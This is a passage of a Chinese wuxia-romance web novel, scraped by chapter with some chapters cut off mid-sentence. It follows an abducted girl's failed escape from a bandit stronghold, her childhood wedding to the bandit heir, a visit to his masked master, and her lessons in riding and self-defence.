林慕瑶小心翼翼翻过叶阳晨,然后悄悄地下了床榻,她轻手轻脚的,每走几步都要回头看看叶阳晨是否熟睡着。慕瑶猛地一抬头,见火灵正睁大着眼睛看着自己,她倐地吓了一大跳。 见火灵没有动弹,慕瑶这才慢慢向屋门口挪着脚步,只是短短的一段距离,她走起来异常艰难。 走至门口,慕瑶轻轻打开门,旋即连忙跑了出去。她躲着藏着,绕过了夜间守寨的那些小喽啰。 怀着忐忑的心情,慕瑶总算出了寨门,然后便慌不择路地跑着。她只有一个念头,就是一定要逃出泽清山。慕瑶也不知道能不能逃的出去,但总要试一试,因为她太想回到自己的父母亲人身边。 不过,泽清山实在太大了,下山的路怎么走,慕瑶并不知道。她一直跑着,片刻都不敢停下来。好像停下一秒钟,叶阳晨就会出现在自己的身后。 长这么大,慕瑶从来没有跑过那么远的路,她跑了半个时辰,不知摔了多少跤,滑倒多少次。她的体力并不好,此时她口渴难耐,喉咙像是被火烧过一般,干哑灼痛。 漆黑的山路,很容易走错路,慌乱之下,慕瑶迷了路,误入了啸月岗。她也是走了一会儿,才觉得自己可能走错了路,这里林深树密,阴风呼啸,恐怖极了。慕瑶想原路返回,可怎么都绕不回去了,她甚至不知道自己已经走进了啸月岗的深处。 正在这时,慕瑶听到了“嗷呜”的声音,那声音似远也似近,她当然知道那是狼在嚎叫。从前她没听过这种凄厉的叫声,是来了泽清山后,夜晚躺在床上时常听到这种叫声。几次之后,慕瑶壮着胆子问叶阳晨那是什么声音,叶阳晨告诉她,那是狼在叫。 树在剧烈地摇晃,树枝在风中乱舞,慕瑶每走一步,腿都颤抖着,脚也是软的。她惊惶地环顾四周,突然看见不远处有绿幽幽的寒光。慕瑶定睛一看,才发现那是动物眼睛反射的光亮,她瞬间跌坐在地上。 令慕瑶更感到可怕的,是那慑人的绿光正忽左忽右地晃动着,而且是在慢慢靠近自己。片刻后,慕瑶终于看清楚,是三只灰狼在朝自己走过来。未几,那三只灰狼走得更近了,她才看清楚三只狼已经冲着自己凶恶地露出獠牙,眼睛里都是对食物的贪婪和欲望,阴森恐怖极了。 林慕瑶被吓得魂飞魄散,心跳得像是要从嗓子眼飞出来。她吓得顾不得站起身,只是下意识不断地向后挪着身体。 慕瑶呜呜地哭出声,她边哭边用尽全身力气喊道:“别过来,别过来……” 可狼并没有停下脚步,而且是步步紧逼。此时,慕瑶很后悔自己逃跑出来,如果不是这样,至少还能活着。 慕瑶眼见着三只灰狼跑了过来,她认命地闭上眼睛,只有泪水簌簌落下。就在慕瑶以为自己今天要死在这里时,突然听到另一声狼叫,那叫声更加狠厉、威猛。她睁开眼睛,见月光之下,是火灵挡在自己面前。 从前,慕瑶是那么害怕火灵,那么讨厌这头凶兽。她还记得第一次见到血灵的情景,自己被吓得完全不敢动。之后每次看见火灵,慕瑶都要绕着走,生怕一不小心就成为火灵的“盘中餐”。可今天看见火灵,慕瑶心里却溢出无限温暖,因为她知道自己有救了。 火灵的身形较那三只狼大很多,它目露凶光地连着怒吼三声,那三只灰狼慢慢后退,旋即它们掉头四散而逃。 慕瑶见那三只狼跑了,悬着的心终于归了位。重获生的希望,慕瑶喜极而泣。从那一刻起,她不再害怕火灵,而是主动过去紧紧地搂住火灵,脸也贴在火灵的头上蹭着。 火灵不时发出呜呜的低沉声,温顺得像是在亲昵地撒娇,完全没了刚刚的凶狠。 良久,慕瑶才止住了哭声,跟着火灵离开啸月岗。火灵就在前面带着路,她就跟在后面。 慕瑶本以为经过刚刚一劫,已经完全转危为安了。可她不经意间一抬头,有一头巨大的怪兽挡在她和火灵面前。慕瑶一惊,仔细一瞧,是一头黑熊挡住了路。那只黑熊体型巨大,熊掌更是相当于慕瑶脸的大小。 火灵极通人性,它为了最大程度地保护慕瑶,刚刚便没有跟那三头灰狼厮杀,而是选择吓退它们。面对黑熊,火灵同样希望能震慑住它,可同样的方法对这只黑熊并没什么用。 见黑熊慢慢向前靠近,火灵主动扑了过去。黑熊站立起来,用力挥起前掌,打中了火灵的头。熊的爪子很锋利,瞬间划伤了火灵的脸,现出一道深深的血痕。 不过火灵并不示弱,它继续与黑熊缠斗。数个回合后,火灵突然跳到黑熊的背上。黑熊则聪明地在地上一滚,火灵便从它的背上掉下来。 火灵并不气馁,它找机会再次跳到黑熊的背上。这次,无论黑熊如何晃动身体,火灵的爪子就像铁钳一般,紧紧抠住黑熊的背。黑熊疼得乱叫,又准备通过在地上打滚,把火灵甩下来。 火灵没再给黑熊任何机会,迅疾咬向黑熊的脖颈,来了个“一剑封喉”。黑熊嗷嗷大叫了两声,然后慢慢倒在地上。火灵仍然不松口,黑熊四肢微微动了动,随即咽了气。 慕瑶赶紧跑过去,再次紧紧抱住火灵,她竟有一种劫后余生的感觉。虽然火灵的嘴上和脸上都是黑熊留下的血,但慕瑶依然无所顾忌。回想火灵刚刚与黑熊激烈的搏斗,慕瑶依然心有余悸,但更多的是心疼火灵。 火灵终于带着慕瑶走出了啸月岗,随后朝着长风寨走去。又走了一会儿,慕瑶见火灵突然加速向前面跑去,她大喊着:“火灵,你去哪儿啊?” 说完,她顺着火灵跑的方向看去,原来是火灵发现了叶阳晨。 林慕瑶心知叶阳晨是出来找自己的,不由得心里有点忐忑。 原来,叶阳晨半夜口渴醒了,便起来找水喝,却发现枕边的慕瑶不见了,他这才出来找人。叶阳晨一直走到啸月岗的入口处,才发现火灵和慕瑶的身影。 夜里醒来不见了慕瑶,叶阳晨就猜到慕瑶是逃走了,现在看见慕瑶满身是泥,又见火灵浑身是血,就更加印证了自己的猜测。 见慕瑶走路一瘸一拐的,叶阳晨走到慕瑶面前半蹲下来,“上来吧,我背你回去。”慕瑶很想拒绝,但眼下的她总觉得自己是闯了大祸一般,便不敢拒绝。何况跑了这么远的山路,慕瑶也真是累了,能有人背自己再好不过。 劫后余生,慕瑶觉得叶阳晨的肩膀是那么温暖,好像就是安全的港湾,没有一丝风浪。多年以后,慕瑶想起那个漆黑的夜里,她还是能忆起当时被叶阳晨背着时自己内心受到的触动。叶阳晨是第一个背慕瑶的人,这在慕瑶的心中烙下了永不磨灭的印记。 可能是被人背着很舒服很安全很踏实,又或是这一晚又经历了太多的恐惧和害怕,慕瑶已精疲力竭,便趴在叶阳晨的背上睡着了 15. 第十五章 《赤染兰香》全本免费阅读 一个月后,在泽清山长风寨,林慕瑶和叶阳晨举行了盛大的成婚仪式。泽清山上一次有这样的大喜事已经不知是何时了,但叶阳晨成婚的那一天确实是长风寨有史以来最热闹的一天。山寨里张灯结彩,处处张贴着喜字,处处洋溢着喜庆,简直就是狂欢的节日。 此时,几乎所有武林泰斗和江湖侠客都已聚集在了泽清山。自叶阳晨说要结婚,夏薇就以叶阳天的口气给天下英雄广发喜帖。就连与泽清山不是很熟的江湖人士,还有那些隐退江湖之人也都收到消息,长风寨就是要把少寨主叶阳晨的婚仪办成武林盛事。在得到消息后的第一时间,各路豪杰奔走相告,急着便赶往中安郡。 说起来也是好笑,一个九岁男孩,一个八岁女孩,明明还是两个小鬼,却要拜堂了,他们甚至还不太知道成亲的真正意义是什么。 林慕瑶原以为叶阳晨口中的成婚,不过就是小孩过家家那种,谁知却有着真正的成亲仪式。 那日午后,林慕瑶便沐浴更衣。随后,慕瑶坐在梳妆台前,在几个丫鬟的伺候下,抹涂唇脂,描画娥眉。林慕瑶恍惚在梦中一般,但看着铜镜里颜如美玉、清丽无俦的自己,心里竟少了一丝害怕与担忧。 花语悦声道:“林小姐,你的凤冠真好看。” 经丫鬟一说,林慕瑶透过镜子仔细看了看自己头上的凤冠。那是一顶十二凤尾山河锦绣祥云金玉冠,它精雕细琢,凤尾似流云般华美飘逸,火鸟口衔黄玉,与金冠相得益彰。凤冠左右还各挂有六条金流苏,自然垂在云鬓两侧,相映生辉。 凤冠不是成人的大小,而是参照慕瑶的头型尺寸定制的。夏薇是花了重金,中安郡的能工巧匠才赶工赶时地制作出来,就是为了让叶阳晨这个少寨主尽快成亲。 慕瑶视线下移,见自己身穿着全亮红缂丝九州盛世凤纹长袍,长袍袖口绣着海河水纹,华美绝伦。霞帔披在长袍外,做工极为精致华美,它上面还绣着十二只金凤。金凤有的冠似如意,有的头若腾云,它们个个耀眼夺目,栩栩如生。 慕瑶梳妆的地方离长风寨主厅海晏厅还有一段距离,所以吉时一到,慕瑶被盖上红盖头,然后在丫鬟的搀扶下上了花轿。叶阳晨穿着大红的新郎吉服,戴着大红花站在轿子前,全当是迎亲。 一路上,锣声、鼓声、喇叭声连绵不断。 花轿在海晏厅门口停住,帘子被撩起,丫鬟小心扶着慕瑶走出轿子。几乎同时,炮竹声响起,声音连成一片,震耳欲聋,犹如山呼海啸。 泽清山的十二副寨主、大小头领及各方宾客早就等在那里了,海晏厅内、厅外一百多张桌子皆坐满了宾客。 通往大厅的路被铺上了红毯,慕瑶和阳晨一同走进厅内,接受着所有人的祝福。 虽然这个婚是叶阳晨闹着要结的,可看见那么多双眼睛望着自己,他还是会有些紧张,毕竟这样的时刻,他的人生也是第一次经历。只是叶阳晨的眼神里依旧锋芒如旧、英气逼人。 慕瑶虽蒙着红盖头,但也能清晰听见周围人发出由衷的笑声,以及众人聊天时说的祝福语和吉祥话。 叶阳天端坐在高处的椅子上,地位尊贵。向他道喜的人络绎不绝,叶阳天喜悦得时而仰头大笑,时而高声叫好。而分座在叶阳天身旁的大娘唐露和二娘夏薇也是身着华美服饰,妆容更是从未有过的精致。在这个喜庆的日子,她们这两个做娘的却边笑边不约而同抹着眼角的幸福泪。 一阵欢声笑语后,傧相高声唱道:“一拜天地,敬地久天长。” 林慕瑶和叶阳晨朝着海晏厅外跪拜。 傧相继续喊道:“二拜高堂,谢恩重如山。” 两个孩子又缓缓转过身来,向叶阳天、唐露、夏薇行跪拜礼。 “夫妻对拜,祝永结同心。”这一声,傧相喊得声音更大。 话音一落,他们两位新人相互躬身行礼。 听着大厅里的热闹声,她就能想象出厅里聚集了多少人,而一想到那些眼睛都正盯着自己看,红盖头下的慕瑶便没来由的害羞。而叶阳晨的注意力都在慕瑶身上,他很想知道盖头下的林慕瑶是什么神色,也很迫不及待想看看新娘子有多美。 傧相拉长声音道:“礼成,送入洞房。” 在一阵哄闹声,丫鬟扶着林慕瑶回了新房。一路上,喜糖和红封不断洒下,众人见证着新人的甜蜜和幸福,也在沾着喜气,享受着快乐。 叶阳天说儿子成亲后,也算是个大人了,便腾出一套三进门的宅子给叶阳晨当新房。丫鬟扶着慕瑶进了新房,让她在床沿处坐下。 叶阳晨接过喜秤,用它掀开慕瑶的盖头。他终于见到盖头下,千般娇艳、万般清丽的慕瑶。 慕瑶也不知自己在娇羞什么,只是红烛下的脸颊蒙上一层又一层红霞。在如此喜庆的氛围下,她的心里泛出一丝温暖。 叶阳晨走过去,坐在了林慕瑶身侧。 随即,丫鬟们依次走过来,将红枣、花生、桂圆、莲子,洒向新人,虽然两个孩子离生孩子还早得很,但是婚礼仪程却不可少。 最后,新郎新娘手端酒杯,各自身体前倾,彼此手腕交叉后将杯中酒饮尽。 至此,所有的仪式流程总算进行完了,林慕瑶也长长舒了一口气,她在心里庆幸自己没出一点错。整整一天,慕瑶都担心自己记不住,做不好这些礼仪规矩。婚仪前,丫鬟也是不敢疏忽,反复叮嘱慕瑶,又反复陪着演练,就是怕过程中出差错。慕瑶也很认真去学,不知为什么,她就是觉得此事很重要。 前厅还有宾客需要坐陪,叶阳晨便出了婚房。林慕瑶累了半日,终于得了空,她环顾着新房,所有的家具、床榻都是崭新的,一尘不染。最重要的是屋里终于不见了那些刀剑、虎皮、熊头、八卦之类的挂件,而是多了些花瓶、盆栽等温馨的物什。 叶阳晨喝了好一会儿酒才回来,屋内的丫鬟齐声道:“少爷……” 叶阳晨一挥手,“你们都下去吧。” “是。”众丫鬟离开。 不知是不是喝了酒的缘故,叶阳晨的脸色柔和了些,“慕瑶,今天你开心吗?” 慕瑶怔了一怔,“什么?” “就是我们成亲了啊!往后余生我们都会在一起了,你再也离不开我了。我是你名正言顺的夫君了。” 林慕瑶不知该怎么回答,她也知道如果说不开心是很煞风景的事,还可能会激怒叶阳晨。可如果说开心,那也肯定是在说谎,试问天底下哪个女孩被抢上山,又被逼着成亲会开心呢? 林慕瑶停顿片刻,淡淡说道:“还好。” 叶阳晨以为“还 17. 第十七章 《赤染兰香》全本免费阅读 慕瑶坐起来,试图回想着刚才在梦里发生的一切。可能是她起身的动作太大,竟把叶阳晨也吵醒了。 叶阳晨给慕瑶披上外衫,关切问着:“怎么了?又做噩梦了?你额头上都是汗。” 记得慕瑶刚到泽清山时,由于害怕和想家,几乎每晚都做噩梦,后来时间长了,她做噩梦的次数才渐渐少了。而两人搬到流云瀑的树屋后,慕瑶就再也没做过噩梦了,所以叶阳晨才觉得奇怪。 慕瑶觉得胸口疼,还有点喘不上气来,半晌才缓缓说道:“不是噩梦,而是一个华丽的梦境。我到了一个美轮美奂的宫殿,在那里我看了一本书册……” “书册里面是什么?” “不记得的了,我只记得那些画色彩绚丽,那些诗荡气回肠。”天机不可泄露,慕瑶试图想起书册里的内容,可却什么都想不起了。 叶阳晨摸了摸慕瑶的头,“快睡吧。” “你不相信我的话吗?我真的看了一个书册。” “没有不信你,可是你还是要睡觉啊!”说着叶阳晨扶着慕瑶躺下。 不知是不是因刚才的梦境特别华丽和真实,慕瑶心里反而有些不安,那是一种失去东西后的失落。慕瑶犹豫着把叶阳晨的胳膊拽过来,然后躺在他的臂弯里。 叶阳晨有些惊讶,那是慕瑶第一次主动睡在自己的怀里。 好在有叶阳晨陪在自己身边,慕瑶的心才静下来。良久,她终于渐渐睡着了。 翌日,慕瑶没有再提昨夜做梦的事,叶阳晨以为慕瑶忘记了,也就没有再问。 事实上,那夜的梦境慕瑶记了很多年,尽管梦境里发生的事情再也没想起来过。 流云瀑这里枉若世外桃源,说它是人间仙境也不为过。慕瑶真的很喜欢这里的一切,整个人的心情也好了许多。见慕瑶开心,叶阳晨也很快乐。 为了能让慕瑶每日都开心,叶阳晨也是挖空了心思。泽清山上所有好玩的地方,叶阳晨都带着慕瑶去过了。什么明水洞的钟乳石,什么碧水峡的一线天,还有那幽兰谷的十里花田。 叶阳晨看得出来,只有在那段美景目不暇接的时光里,慕瑶才稍稍忘记思乡。 他们两人就这么逍遥快活地住在流云瀑的树屋,闲暇时,叶阳晨会带着慕瑶去瀑布旁的水潭里捉鱼。起初,慕瑶还有些拘束放不开,叶阳晨就把慕瑶的鞋子脱了,又帮把她裤管挽起来,然后强行拉着她下水。后面慕瑶习惯了,经常让叶阳晨带着她去玩。至于那些捉上来的鱼,叶阳晨就在岸边把它们烤了给慕瑶吃。 日子稍久一点,所有的新鲜劲一过,慕瑶又开始想家了。叶阳晨问她为什么又不开心了,慕瑶不敢实话实说,只是说自己很闷。这让叶阳晨觉得很头疼,因为每隔些日子,他就要想想新花样逗慕瑶开心,可是时间长了,他也黔驴技穷了。 叶阳晨想了几天,终于想出了一个点子,“慕瑶,要不我带你去泽清山顶的玉狼峰看日出吧?” “看日出?还是在山顶?” “是啊!就是在山顶。” “那里美吗?” “当然美啊,瑰丽无比。”瑰丽这个词还是叶阳晨从哪里听来的,属于现学现卖。 慕瑶不停地点着头,“那我去,我去。” 第二日,两人便启程上玉狼峰了。 慕瑶走路走得慢,两人一天也就只能走几里山路。不过一路上有人相伴,他们都不觉得无聊。 越接近山顶,温度就越来越低,叶阳晨便拿出包裹里的斗篷给慕瑶披上。那是一件白狐毛斗篷,斗篷的帽兜上还缀着白狐绒毛。 这件白狐斗篷十分名贵,上面的白狐毛色泽雪白,竟没有一丝杂质,人穿在身上轻柔却极其暖和。 说起这件斗篷,还是林慕瑶与叶阳晨成婚时,叶阳晨下的十件聘礼之一,十件聘礼寓意十全十美。虽然慕瑶没有在家出嫁,可该有的程序一样都没有少,叶阳晨不想委屈了慕瑶。 斗篷上的白狐毛是叶阳天多年前打猎攒下的,待到叶阳晨成婚时,他才悉数拿出来,为慕瑶做了两件斗篷。小的现在穿,另一件等慕瑶长大了再穿。 林慕瑶穿着这件斗篷,加之脚下踩着一双白色软毛羊皮小靴,整个人看上去比平时更加明艳美丽。相较于慕瑶华贵的穿着,叶阳晨穿得还是那么随便和土气,他穿着一件虎皮衣,跟慕瑶走在一起十分不搭,简直就是美女与“野兽”,尽管叶阳晨的那张脸依旧丰神俊朗。 慕瑶自小在西关道长大,那里四季如春,她从未经历过这么冷寒的气温。还没到冷夕林,慕瑶已经开始捂着嘴走路。 叶阳晨心生疑窦,“慕瑶,你怎么了?” 慕瑶娇嗔着:“这凉气太凉了,我不敢呼吸了。” 叶阳晨展露笑颜,“没那么严重的。” “不要,就是很严重,很冷。”虽然嘴上这样说,可一想到身上御寒的衣服是叶阳晨精心为自己准备的,慕瑶还是觉得很温暖的。 走了五天山路,他们终于到了冷夕林。冷夕林间阴风怒号,鬼音阵阵。 叶阳晨紧紧攥住慕瑶的手,“慕瑶,别怕,有我呢,过了这个林子就好了。” 叶阳晨最知此地凶险,所以选择白天过冷夕林,因为狼一般夜间活动。可是叶阳晨还是失算了,林子里出现了三只灰狼。 单单看着恶狼冷厉的眼神中带着杀气,慕瑶便吓得心惊胆战。再一想起上次自己私逃误入啸月岗后遇到灰狼的经历,躲在叶阳晨身后的慕瑶,身体颤抖得越发厉害。 叶阳晨安慰着:“瑶瑶,别害怕,有我在,我不会让你有事的。”听叶阳晨那样说,慕瑶终于没有那么害怕了。 灰狼步步紧逼,向他们两人靠近。 叶阳晨心里犯难,要想击退这几只狼是不难的,只是这样做是有风险的,他稍有顾及不暇,恐狼会伤及慕瑶。 叶阳晨灵光一现,他突然从衣衫里拽出血影吊坠,那吊坠在阳光下,熠熠夺目。 令人称奇的是,三只灰狼看见吊坠后,相继嚎叫着,随之慢慢向后退,最后四散逃开。 林慕瑶没看清叶阳晨是怎么吓退灰狼的,于是诧异问道:“你刚才拿出的是什么啊?那些狼怎么会害怕跑了呢?” 叶阳晨把血影从脖子上摘下来,递给了慕瑶。 慕瑶手捧着吊坠仔细看着,见它如玉一般晶莹,其中还夹杂着丝丝血色,不禁问道:“这是什么?还挺好看啊?” “这是狼牙,就是火灵母亲留下的。” 慕瑶方反应过来,怪不得她觉得这东西好像在哪见过,她想起火灵呲牙时,露出的牙齿就跟这吊坠长得一模一样。 叶阳晨突然问道:“喜欢吗?我把它送给你戴,好不好?” “不喜欢。”林慕瑶回答得毫不犹豫,“女孩子哪有戴这种东西的啊?” “你刚才还不是说挺好看的吗?” 慕瑶支吾着,扁着嘴道:“好看也不想戴。” 本来慕瑶不喜欢,叶阳晨也便不想强要慕瑶收下血影吊坠。可他突然想起来,自己还没有送过林慕瑶东西,而且这个血影吊坠他都是随身带着,常听人说,随身带着的东西久了就会有灵气,他觉得送慕瑶这个做信物也比较有意义。于是叶阳晨坚持道:“没有什么不能戴,我就要把这个送给你。”说完,叶阳晨不管慕瑶乐意不乐意,就把吊坠戴在了慕瑶的脖颈处。 慕瑶刚要去摘,叶阳晨便严辞道:“你不许把它摘下来,以后你遇到危险,它或许会替我保护你。武林上的很多人即使没有见过我,也都听说过我的故事,以后你在江湖上遇到危险,就把血影拿出来,应该没有人敢碰你。” 林慕瑶还是很不情愿带着这个狼牙吊坠,她一个女孩家,带着一颗狼牙在脖子上,想想也有些惊悚。可一见叶阳晨神色霸道,慕瑶便不敢拒绝说“不”,尽管她也知道叶阳晨是为了自己好。 走过了冷夕林,阳光突然明媚起来,慕瑶的心情也随之大好。 登上玉狼峰,还未走到师父住的木屋,叶阳晨便提前安抚着:“瑶儿,一会儿你要是见到我师父,不要害怕。他那个人是有些古怪,又喜欢戴个面具,但是人是极好的。” “有些怪?那是什么意思?” 叶阳晨挠挠头,“就是他的脾气很坏。” 慕瑶哼了一声,“难道比你还坏吗?” 被慕瑶这么一问,叶阳晨有点不好意思,他咧嘴一笑,“真的比我脾气还坏。” 慕瑶怯怯道:“那我能不能不见他啊?” “那怎么行?既然来了,如果不见见师父,他知道后会生我气的。况且如果我那样做的话,是多么不尊不孝啊?” 叶阳晨的话合情合理,慕瑶也无法反驳。 他们来到木屋前,叶阳晨轻轻敲了敲门,“师父,我是小晨。”见屋里没人应答,他才推开了屋门带着慕瑶走了进去。 进了屋子,叶阳晨发现炉火生着,他便知道师父在玉狼峰上,应该没有走远。 慕瑶刚刚坐在小榻上一会儿,屋门突然被推开。她见一个身材颀长的男子走了进来,那男子手里还拿着一块鹿肉。那人戴着魔鬼的面具,显得十分怕人,慕瑶没见过如此奇怪的人,不禁有些坐立不安。 楚宗进屋把鹿肉放下,淡淡一问:“什么时候来的啊?” 被师父一问,叶阳晨连忙答道:“师父,我刚刚到。我跟慕瑶说泽清山最美的风景当属玉狼峰,尤其是日出日落。” 楚宗语气中带着一丝怒气,“臭小子,好久不来看师父,来一次也是为了讨好老婆才来?” 听楚宗说话的口气这么坏,慕瑶终于相信他的脾气比叶阳晨还坏。 叶阳晨自知失言,尴尬笑着,“不是这样的,师父,是徒儿说错话了,我也是想念你的。” “不用找补了,迟了。”说着,楚宗的眼睛瞟向慕瑶,“这个就是你媳妇?” 叶阳晨应声道:“是的,师父。” “长得还真俊俏,你小子是有福之人。” 听楚宗夸自己,慕瑶抿着下唇道:“师父好。” 楚宗的语气稍稍温和,“好…好。” 叶阳晨遗憾说道:“师父,我成婚的时候你云游在外,都没能喝上我的喜酒。这次我上山来,特意给你带的最好的二十年陈酿。”那时,叶阳晨刚刚定下婚期便亲自上玉狼峰给师父送请柬,可楚宗那时不在。 楚宗吼道:“啰嗦,你不知道为师不喜欢热闹吗?” “知道啊,可是师父你没来我的婚仪,我还是会觉得遗憾。” “那有什么遗憾的?” 其实叶阳晨不知道,楚宗是参加了他的婚礼的。他只是没去仪式现场,而在远处看着叶阳晨穿着喜服迎亲。 当时叶阳晨要成亲,父亲叶阳天广发喜帖,邀请天下英雄豪杰来参加儿子的婚仪。加之叶阳天长风寨寨主身份,以及叶阳晨当时三位师父在江湖上巨大名望和影响力,叶阳晨成亲本身就是江湖上的一件大事。而且到时会有太多武林人士齐聚泽清山,更把这件盛事传得沸沸扬扬。 正在云游的楚宗一听说此事,便星夜赶了七日路回到泽清山。尽管他这个做师父的,平日对自己这个唯一的徒弟多是疾言厉色的,可在他的内心里,最疼爱的就是这个徒儿。对楚宗而言,除了师徒关系,心里还多有一份亲情。 叶阳晨知道师父的性格,也就没再纠结婚礼的事,于是岔开话题道:“师父,那是你打回来的鹿肉吧?今晚徒儿陪你好好喝一杯,怎么样?” 面具下,楚宗笑了笑。 晚上,楚宗和叶阳晨把鹿肉烤来吃。 那是林慕瑶第一次吃烧烤,虽然在山寨的时候,也时常有烤乳猪、烤全羊这类烤肉,但慕瑶怎么都不肯吃。在慕瑶的心里,这种直接把肉放在火上烤的吃法过于粗犷,有失文雅,她心里会有障碍。 叶阳晨也比较迁就林慕瑶,见他吃不惯山寨里的饭菜,就让厨师按照慕瑶的喜好单独给她做些吃的。慕瑶爱吃糕点,叶阳晨还专门派人从山寨外请来擅做面点的师傅。 不过今天慕瑶没有选择了,因为晚饭就只有烤鹿肉这一道菜。 叶阳晨看出慕瑶的心理,便用自己贴身匕首把每块鹿肉切成小小的一块放到慕瑶的碗里。 慕瑶本不想吃,但是又觉得这样当着楚宗的面拒食又不太礼貌,于是就试吃了一小块。慕瑶黛眉微蹙,轻轻嚼着嘴里的鹿肉。本以为会很难以下咽,但吃在嘴里竟觉得美味异常,她便在心里喜欢起来。也是从那次开始,林慕瑶喜欢上了烧烤美食。 林慕瑶只负责吃,叶阳晨便在一旁照顾她,只要 18. 第十八章 《赤染兰香》全本免费阅读 林慕瑶心里一沉,很怕叶阳晨反悔,“什么条件?” “以后你不在我的身边了,你总要学些本事保护自己。” “楚宗师父不是教我易容术了吗?还学什么本事?” “如遇非常紧急的情况,你来得及易容吗?学些三脚猫的拳脚功夫防身还是要的。” 慕瑶一听要习武,便立即蹙眉,“我不学。”慕瑶心想:“这个笨蛋,回到家后我很少出门,哪有需要保护自己的时候嘛。” “那我就不能放你走了。”说完叶阳晨从身旁扯一片树叶,用它吹着动听的旋律。 “你无赖。”与叶阳晨待久了,慕瑶已经没那么惧怕他了。有的时候叶阳晨不讲道理,她就会骂叶阳晨无赖。 叶阳晨吹着树叶,完全不理会林慕瑶,一副随你怎么骂都无所谓态度。 过了一会儿,慕瑶才妥协嘟嘴道:“好啦,我学就是了。” 叶阳晨侧脸一笑,“我是不能让你有一丝一毫危险的,我希望你至少遇到小流氓时,还是能自己撂倒他的。” “那要学多久?” “学多久取决于你聪不聪明,还有你的勤奋程度。快的话两三个月,慢的话半年吧。” 慕瑶翘着嘴巴,“你是故意的,你就是拖延时间不想让我走。” “这次真的不是,我这个人既然说了就不会赖账,我是真的担心你。” 慕瑶不敢再多和叶阳晨争执,她很怕一会儿真把叶阳晨惹生气了,叶阳晨改主意不放自己走了,那该怎么办? 第二日,叶阳晨先教慕瑶学骑马,他特意给慕瑶找了一匹小马。还亲手给慕瑶做了头盔和护膝,就是怕慕瑶从马上摔下来受伤。 那些天,慕瑶每天都要在马背上待上两、三个时辰。起初慕瑶胆子小,连缰绳都握不稳。一个星期后,慕瑶骑得好一些了,到了第三个星期,她已经骑得不错了。 学的过程中,慕瑶心里很排斥学这些,她不知道自己学习这些的意义是什么。在慕瑶看来,她既不准备去行走江湖,也不准备去做个什么女将军,所以学骑马根本无用武之地。慕瑶性格文雅闲静,她宁愿学针织女红,也不想学这些。但是真学会了,她还是很有成就感的。 接着,叶阳晨开始教林慕瑶一些拳脚功夫。习武就比骑马还要枯燥了,而且还更累。有几次,慕瑶都跟叶阳晨抱怨说不学了,每当这时,叶阳晨就像没听见一样,慕瑶很没趣,就只有继续坚持学下去。 由于时间太短,叶阳晨也只能教慕瑶一些实用的招式,比如怎么出奇制胜,怎么直击要害。不过再精妙的招式,也不能只是花架子,需要花功夫练才行。而且慕瑶没有任何武功底子,出拳出脚柔弱无力,自然费的时间要多一些。叶阳晨强调好多遍出拳要快,可慕瑶打出的拳还是跟太极似的。 叶阳晨这个“老师”性子急,重复说了几遍慕瑶不怎么“听话”,他就有些不耐烦了。 那天,有个招式慕瑶怎么都练不对,叶阳晨气得坐在了路边,“好了,休息一会儿吧,你这个学生可真笨。” 慕瑶蹙眉咬唇,明明是被叶阳晨逼着学的,还天天被叶阳晨训,心里顿时觉得很委屈。慕瑶带着怨气道:“那我不学了。” “不学好啊,正好不用离开这里了。” “你...你…你混蛋。”慕瑶被气得实在不行,这才“口不择言”了。 叶阳晨咧嘴一笑,戏谑道:“这么柔婉沉静的慕瑶,也学会骂人了。” 被叶阳晨这么一提醒,慕瑶有点难为情,“都是跟着你学坏的,近墨者黑。”慕瑶也察觉到自己在慢慢变化着,从前她说话,不要说带“脏”字,就是说话太大声都是不可能的。 礼教使然,像她们这种大家闺秀名门小姐自小便学习礼仪规矩。她和妹妹的行为举止少有不妥,都少不了被爹爹林远峰责骂。诗怡的性格直率豪爽,行事随心随性,不拘小节,林远峰甚至多次动用家法教训她。 隔了一会儿,慕瑶才嘟着嘴道:“我们继续练吧。” 叶阳晨拿她没办法,只好站起来,继续当她的“老师”。 慕瑶的皮肤特别嫩,稍有磕碰就会留下淤青,所以那段日子,慕瑶的胳膊上腿上,经常是青一块紫一块的。每天晚上慕瑶沐浴后,叶阳晨便在床上给她擦一些止痛消肿的药。虽然学功夫的主意是叶阳晨出的,可看着慕瑶凝脂般的玉肤受了伤,他还是会很心疼。 那日慕瑶正学着功夫,她好奇道:“阳晨,你为何只教我拳脚,却不教我刀剑呢?” 叶阳晨如实说道:“练刀剑那些,手掌容易磨出茧子,那样手就不好看了。” 慕瑶心里感动,但嘴上依旧小声嘟囔着:“才不要领你的好意。” 练了两个月,慕瑶终于掌握了一些躲闪攻击的要领了,她便整日央求叶阳晨放自己回家。 叶阳晨淡淡说道:“你现在所学,如果不出意外的话,应该可以打败一些小流氓了。” 慕瑶难掩兴奋,“那我是不是可以走了?我出师了吗?” 看着慕瑶着急的样子,叶阳晨心里还是止不住地失落,“难道她对自己就没有一点感情?没有一点留恋吗?” 叶阳晨藏起心中的失落,“你别急,我们总是要检验一下你的学习成果,看你能不能过关?” 话音一落,慕瑶的心悬起来,“什么过关?怎么检验?” “就是我们下山去,如果遇到了坏蛋,你真的打赢了,就算过关了。” 一听叶阳晨这样说,慕瑶心里无奈也煎熬,好像自己闯过了一关,又有一关,她就感觉叶阳晨在难为自己。想到如果不能通过叶阳晨的考验,自己就又走不了了,慕瑶心里不由得紧张起来。 慕瑶转问:“我们下山就一定能遇到坏蛋吗?” “应该能的。” 慕瑶噘起嘴,一副不信的样子,“世道哪有那么不太平?根本没有那么多坏人的。” 叶阳晨自言自语小声道:“你长成这个样子,坏人就聚过来。” “你说什么?” “不告诉你。” 翌日,叶阳晨言出必行,便带着慕瑶下山去了。两人走了很久,直至出了泽清山的地界,叶阳晨才停住脚步。 慕瑶好奇问道:“我们为什么要走这么远?” “因为离泽清山附近的地方没有坏人。” “那是为什么?” “哪个敢在泽清山范围内做坏事,那他就是找死。我们虽然是别人口中的“土匪”,但盗亦有道。” 见叶阳晨那么一本正经地解释,慕瑶忍着嘴角的笑意。 叶阳语气郑重,“好了,你就坐在路边等着坏人来,我藏在树上。遇到坏人你出手就是了,只要你把坏人打跑,就算你赢。如果你打不赢,你就求救,我就从树上跳下来救你。”说完,叶阳晨纵身一跳便上了树。 慕瑶便坐在路边耐心地等待,这条路上虽是大路,但路过的人并不算多。她等了半个时辰,有樵夫,有渔夫,也有货郎经过,就是没有什么坏人。 